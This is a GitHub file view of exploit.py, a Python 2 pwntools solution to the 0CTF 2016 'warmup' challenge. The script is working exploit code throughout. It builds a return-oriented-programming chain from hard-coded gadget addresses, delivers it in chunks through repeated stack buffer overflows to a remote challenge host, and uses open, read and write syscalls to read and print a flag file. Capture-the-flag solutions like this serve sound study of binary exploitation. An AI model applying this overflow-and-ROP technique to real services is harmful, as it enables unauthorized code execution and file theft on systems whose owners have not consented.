-
Notifications
You must be signed in to change notification settings - Fork 263
/
Copy pathexploit.py
executable file
·65 lines (55 loc) · 2.85 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python2
from cStringIO import StringIO
from pwn import *
def attack(connection):
pathname = "/home/warmup/flag\x00"
buffer = StringIO()
buffer.write(p32(0x0804811d)) # sys_read
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(0)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(len(pathname))) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048135)) # sys_write
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(1)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(constants.linux.i386.SYS_open)) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048122)) # syscall
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(0x08049000)) # pathname
buffer.write(p32(constants.linux.O_RDONLY)) # flags
buffer.write(p32(0))
buffer.write("A" * 0x24)
buffer.write(p32(0x0804811d)) # sys_read
buffer.write(p32(0x080481b8)) # add esp, 0x30 ; ret
buffer.write(p32(3)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(0x100)) # size
buffer.write("A" * 0x24)
buffer.write(p32(0x08048135)) # sys_write
buffer.write(p32(0x0804814d)) # sys_exit
buffer.write(p32(1)) # fd
buffer.write(p32(0x08049000)) # buffer
buffer.write(p32(0x100)) # size
exploit = buffer.getvalue()
for offset in reversed(range(4, len(exploit), 0x10)):
connection.recvuntil("Welcome to 0CTF 2016!\n")
buffer = StringIO()
buffer.write("A" * 0x20)
if offset == 4:
buffer.write(exploit[: offset + 0x10])
else:
buffer.write(p32(0x080480d8)) # start
buffer.write(exploit[offset: offset + 0x10])
padding = 0x34 - buffer.tell()
buffer.write("B" * padding)
connection.send(buffer.getvalue())
connection.send(pathname)
leak = connection.recvall()
print leak.encode("string_escape")
context.log_level = "debug"
with remote("202.120.7.207", 52608) as connection:
#ith process(["strace", "-i", "-o", "log", "./warmup"]) as connection:
attack(connection)